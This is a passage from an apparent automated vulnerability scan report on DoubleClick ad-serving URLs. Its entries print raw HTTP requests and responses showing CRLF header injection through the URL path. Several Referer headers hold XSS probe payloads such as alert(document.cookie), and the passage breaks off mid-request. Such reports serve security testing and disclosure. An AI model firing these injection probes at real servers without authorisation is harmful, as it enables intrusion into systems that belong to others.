Date: Tue, 10 May 2011 13:38:52 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.5. http://ad.doubleclick.net/ad/N5371.131643.MEEBO.COM/B5369958.2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/N5371.131643.MEEBO.COM/B5369958.2

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 1fe5f%0d%0a152986ec65b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /1fe5f%0d%0a152986ec65b/N5371.131643.MEEBO.COM/B5369958.2;sz=1x1;ord=4683596 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.meebo.com/cim/sandbox.php?lang=en&version=v92_cim_11_8_0&protocol=http%3A&network=philly
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/1fe5f
152986ec65b/N5371.131643.MEEBO.COM/B5369958.2;sz=1x1;ord=4683596:
Date: Tue, 10 May 2011 13:14:03 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.6. http://ad.doubleclick.net/ad/huffpost.boomerangpixel/bingmodule [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/huffpost.boomerangpixel/bingmodule

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 7aaba%0d%0a387e7ad2d0a was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /7aaba%0d%0a387e7ad2d0a/huffpost.boomerangpixel/bingmodule;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-carolina-primary-election=1;south-carolina-straw-poll=1;south-carolina-straw-poll-2011=1;south-carolina-straw-poll-results=1;global=1;load_mode=inline;page_type=bpage;pos=boomerang;u=1x1%7Cbpage%7Cboomerang%7C2012-election,@mostpopular,rick-santorum,elections-2012,rick-santorum-for-president,santorum-for-president,rick-santorum-2012,rick-santorum-south-carolina-straw-poll,santorum-2012,south-carolina-primary-election,south-carolina-straw-poll,south-carolina-straw-poll-2011,south-carolina-straw-poll-results%7C%7C%7C%7C859012%7C%7C%7C%7C;dcove=r;sz=1x1;tile=4;ord=1545223310? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/7aaba
387e7ad2d0a/huffpost.boomerangpixel/bingmodule;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;so:
Date: Tue, 10 May 2011 13:20:27 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.7. http://ad.doubleclick.net/ad/q1.philly/news [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/ad/q1.philly/news

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 39ce7%0d%0a2f52260dc9e was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /39ce7%0d%0a2f52260dc9e/q1.philly/news;net=q1;u=,q1-5225770_1305037198,11fda490648f83c,none,q1.polit_h-q1.none_l;;sz=728x90;contx=none;dc=w;btg=q1.polit_h;btg=q1.none_l;ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/39ce7
2f52260dc9e/q1.philly/news;net=q1;u=,q1-5225770_1305037198,11fda490648f83c,none,q1.polit_h-q1.none_l;;sz=728x90;contx=none;dc=w;btg=q1.polit_h;btg=q1.none_l;ord=[timestamp]:
Date: Tue, 10 May 2011 14:22:22 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.8. http://ad.doubleclick.net/adi/N1558.CasaleMedia/B4461671.2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N1558.CasaleMedia/B4461671.2

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 6b9f3%0d%0a081c9994bcf was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /6b9f3%0d%0a081c9994bcf/N1558.CasaleMedia/B4461671.2;sz=300x250;click0=http://c.casalemedia.com/c/4/1/81668/;ord=0623409108 HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?b707f%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E27da8a889a7=1
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/6b9f3
081c9994bcf/N1558.CasaleMedia/B4461671.2;sz=300x250;click0=http: //c.casalemedia.com/c/4/1/81668/;ord=0623409108
Date: Tue, 10 May 2011 14:32:26 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.9. http://ad.doubleclick.net/adi/N3285.casalemedia/B2343920.400 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3285.casalemedia/B2343920.400

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 6a9ad%0d%0a035b77634f4 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /6a9ad%0d%0a035b77634f4/N3285.casalemedia/B2343920.400;sz=728x90;click0=http://c.casalemedia.com/c/2/1/80254/;ord=0619192936 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/6a9ad
035b77634f4/N3285.casalemedia/B2343920.400;sz=728x90;click0=http: //c.casalemedia.com/c/2/1/80254/;ord=0619192936
Date: Tue, 10 May 2011 13:18:40 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.10. http://ad.doubleclick.net/adi/N4441.contextweb.com/B5238188.3 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4441.contextweb.com/B5238188.3

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 156a8%0d%0aaaaf12c76d6 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /156a8%0d%0aaaaf12c76d6/N4441.contextweb.com/B5238188.3;sz=300x250;pc=55430;click=http://cdslog.contextweb.com/CDSLogger/L.aspx?q=C~530930~3102~55430~118002~90494~3~0~0~gather.com~2~8~1~0~2~4~-v4tGUlNnOKLF2eVmcuAJa88_QclyMTM~4~2~J27ODOzR145A~RiC6i2pCL3Ub~1~0~1~~;ord=1715081945? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/156a8
aaaf12c76d6/N4441.contextweb.com/B5238188.3;sz=300x250;pc=55430;click=http: //cdslog.contextweb.com/CDSLogger/L.aspx
Date: Tue, 10 May 2011 14:12:10 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.11. http://ad.doubleclick.net/adi/N6344.126328.SPECIFICMEDIA/B5358490.6 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N6344.126328.SPECIFICMEDIA/B5358490.6

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 8bee1%0d%0ad42cbf71b63 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /8bee1%0d%0ad42cbf71b63/N6344.126328.SPECIFICMEDIA/B5358490.6;sz=300x250;click=http://ads.specificmedia.com/click/v=5%3Bm=2%3Bl=25167%3Bc=151326%3Bb=898911%3Bp=ui%3DwJ6hSWn821G3dA%3Btr%3DwzKYu5Hfx_D%3Btm%3D0-0%3Bts=20110510134326%3Bdct=;ord=20110510134326? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://ads.specificmedia.com/serve/v=5;m=3;l=25167;c=151326;b=898911;ts=20110510134326;p=ui%3DwJ6hSWn821G3dA%3Btr%3DwzKYu5Hfx_D%3Btm%3D0-0;cxt=811200901:2278864-99003145:2268034-99008493:2265143-104201101:2278864-99011741:2267570-1012201040:2278864-99016158:2288221-1208201001:2290663-21012048:2290663
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/8bee1
d42cbf71b63/N6344.126328.SPECIFICMEDIA/B5358490.6;sz=300x250;click=http: //ads.specificmedia.com/click/v=5;m=2;l=25167;c=151326;b=898911;p=ui=wJ6hSWn821G3dA;tr=wzKYu5Hfx_D;tm=0-0;ts=20110510134326;dct=;ord=20110510134326
Date: Tue, 10 May 2011 17:46:21 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.12. http://ad.doubleclick.net/adi/N6543.131803.TURN.COM/B5513576.10 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N6543.131803.TURN.COM/B5513576.10

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 4c0ec%0d%0a3e7d65afa05 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /4c0ec%0d%0a3e7d65afa05/N6543.131803.TURN.COM/B5513576.10;sz=728x90;ord=7802162129868032033?;click=http://r.turn.com/r/formclick/id/IQjKlh7ZRmyuUQYACAIBAA/url/; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/4c0ec
3e7d65afa05/N6543.131803.TURN.COM/B5513576.10;sz=728x90;ord=7802162129868032033:
Date: Tue, 10 May 2011 14:00:11 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.13. http://ad.doubleclick.net/adi/huffpost.politics/news [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/huffpost.politics/news

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 5bb6e%0d%0a487b017bf01 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /5bb6e%0d%0a487b017bf01/huffpost.politics/news;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-carolina-primary-election=1;south-carolina-straw-poll=1;south-carolina-straw-poll-2011=1;south-carolina-straw-poll-results=1;global=1;cap_12=n;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs=657;;plat=win;br=ch;bv=11;subbv=0;load_mode=inline;page_type=bpage;pos=leaderboard_top;u=728x90%7Cbpage%7Cleaderboard_top%7C2012-election,@mostpopular,rick-santorum,elections-2012,rick-santorum-for-president,santorum-for-president,rick-santorum-2012,rick-santorum-south-carolina-straw-poll,santorum-2012,south-carolina-primary-election,south-carolina-straw-poll,south-carolina-straw-poll-2011,south-carolina-straw-poll-results%7C%7C%7CD,T,2689,2687,2685,1908,1905,1592,683,680,679,678,666,665,657%7C859012%7C%7C%7C;sz=728x90;tile=1;ord=72222061? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/5bb6e
487b017bf01/huffpost.politics/news;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-carolina:
Date: Tue, 10 May 2011 13:30:00 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.14. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 149d2%0d%0a16e2e59be91 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /149d2%0d%0a16e2e59be91/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/149d2
16e2e59be91/x1.rtb/casio/cttech;sz=728x90;click=http: //bn.xp1.ru4.com/bclick
Date: Tue, 10 May 2011 14:24:26 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.15. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 8d6d5%0d%0a7af32fd48fa was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /8d6d5%0d%0a7af32fd48fa/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/8d6d5
7af32fd48fa/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http: //bn.xp1.ru4.com/bclick
Date: Tue, 10 May 2011 14:24:38 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.16. http://ad.doubleclick.net/adj/N3175.128132.INTERCLICK/B4640114.13 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N3175.128132.INTERCLICK/B4640114.13

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 35660%0d%0ae53d0cda688 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /35660%0d%0ae53d0cda688/N3175.128132.INTERCLICK/B4640114.13;sz=728x90;click=http://a1.interclick.com/icaid/128532/tid/f7860f8c-0b93-4b41-8149-a2cc91d07361/click.ic?;ord=634406189604069363? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://media.contextweb.com/creatives/BackupTags/530930/82ee614d-b189-4b28-8d83-df850b76e9fbAdKarma_728x90..html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/35660
e53d0cda688/N3175.128132.INTERCLICK/B4640114.13;sz=728x90;click=http: //a1.interclick.com/icaid/128532/tid/f7860f8c-0b93-4b41-8149-a2cc91d07361/click.ic
Date: Tue, 10 May 2011 14:11:19 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.17. http://ad.doubleclick.net/adj/N3175.272756.AOL-ADVERTISING2/B4640114.5 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N3175.272756.AOL-ADVERTISING2/B4640114.5

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 2043e%0d%0af14956544cf was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /2043e%0d%0af14956544cf/N3175.272756.AOL-ADVERTISING2/B4640114.5;sz=728x90;click=http://r1-ads.ace.advertising.com/click/site=0000801877/mnum=0000884206/cstr=1219384=_4dc949b1,2440706181,801877%5E884206%5E1183%5E0,1_/xsxdata=$xsxdata/bnum=1219384/optn=64?trg=;ord=2440706181? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
